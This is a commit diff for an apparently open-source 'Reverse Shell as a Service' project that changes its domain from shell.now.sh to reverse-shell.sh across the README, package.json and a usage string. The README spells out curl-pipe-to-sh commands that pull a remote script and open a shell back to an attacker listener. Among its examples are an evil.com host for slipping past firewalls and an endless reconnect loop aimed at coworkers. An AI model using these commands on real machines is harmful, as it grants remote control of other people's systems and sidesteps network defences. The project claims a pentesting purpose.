shell.now.sh => reverse-shell.sh

README.md

@@ -1,6 +1,6 @@
 # reverse-shell
 
-> Reverse Shell as a Service - https://shell.now.sh
+> Reverse Shell as a Service - https://reverse-shell.sh
 
 [![Build Status](https://travis-ci.org/lukechilds/reverse-shell.svg?branch=master)](https://travis-ci.org/lukechilds/reverse-shell)
 [![Coverage Status](https://coveralls.io/repos/github/lukechilds/reverse-shell/badge.svg?branch=master)](https://coveralls.io/github/lukechilds/reverse-shell?branch=master)
@@ -21,10 +21,10 @@ nc -l 1337
 ```
 ### 2. Execute reverse shell on target
 
-On the target machine, pipe the output of https://shell.now.sh/yourip:port into sh.
+On the target machine, pipe the output of https://reverse-shell.sh/yourip:port into sh.
 
 ```shell
-curl https://shell.now.sh/192.168.0.69:1337 | sh
+curl https://reverse-shell.sh/192.168.0.69:1337 | sh
 ```
 
 Go back to your machine, you should now have a shell prompt.
@@ -44,7 +44,7 @@ This is meant to be used for pentesting or helping coworkers understand why they
 You can use a hostname instead of an IP.
 
 ```shell
-curl https://shell.now.sh/localhost:1337 | sh
+curl https://reverse-shell.sh/localhost:1337 | sh
 ```
 
 ### Remote connections
@@ -54,7 +54,7 @@ Because this is a reverse connection it can punch through firewalls and connect
 You could listen for connections on a server at evil.com and get a reverse shell from inside a secure network with.
 
 ```shell
-curl https://shell.now.sh/evil.com:1337 | sh
+curl https://reverse-shell.sh/evil.com:1337 | sh
 ```
 
 ### Reconnecting
@@ -62,7 +62,7 @@ curl https://shell.now.sh/evil.com:1337 | sh
 By default when the shell exits you lose your connection. You may do this by accident with an invalid command. You can easily create a shell that will attempt to reconnect by wrapping it in a while loop.
 
 ```shell
-while true; do curl https://shell.now.sh/yourip:1337 | sh; done
+while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done
 ```
 
 Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.

package.json

@@ -1,7 +1,7 @@
 {
   "name": "reverse-shell",
   "version": "1.1.2",
-  "description": "Reverse Shell as a Service - https://shell.now.sh",
+  "description": "Reverse Shell as a Service - https://reverse-shell.sh",
   "main": "src/index.js",
   "files": [
     "src"

src/index.js

@@ -7,7 +7,7 @@ const usage = `# Reverse Shell as a Service
 #      nc -l 1337
 #
 # 2. On the target machine:
-#      curl https://shell.now.sh/yourip:1337 | sh
+#      curl https://reverse-shell.sh/yourip:1337 | sh
 #
 # 3. Don't be a dick`;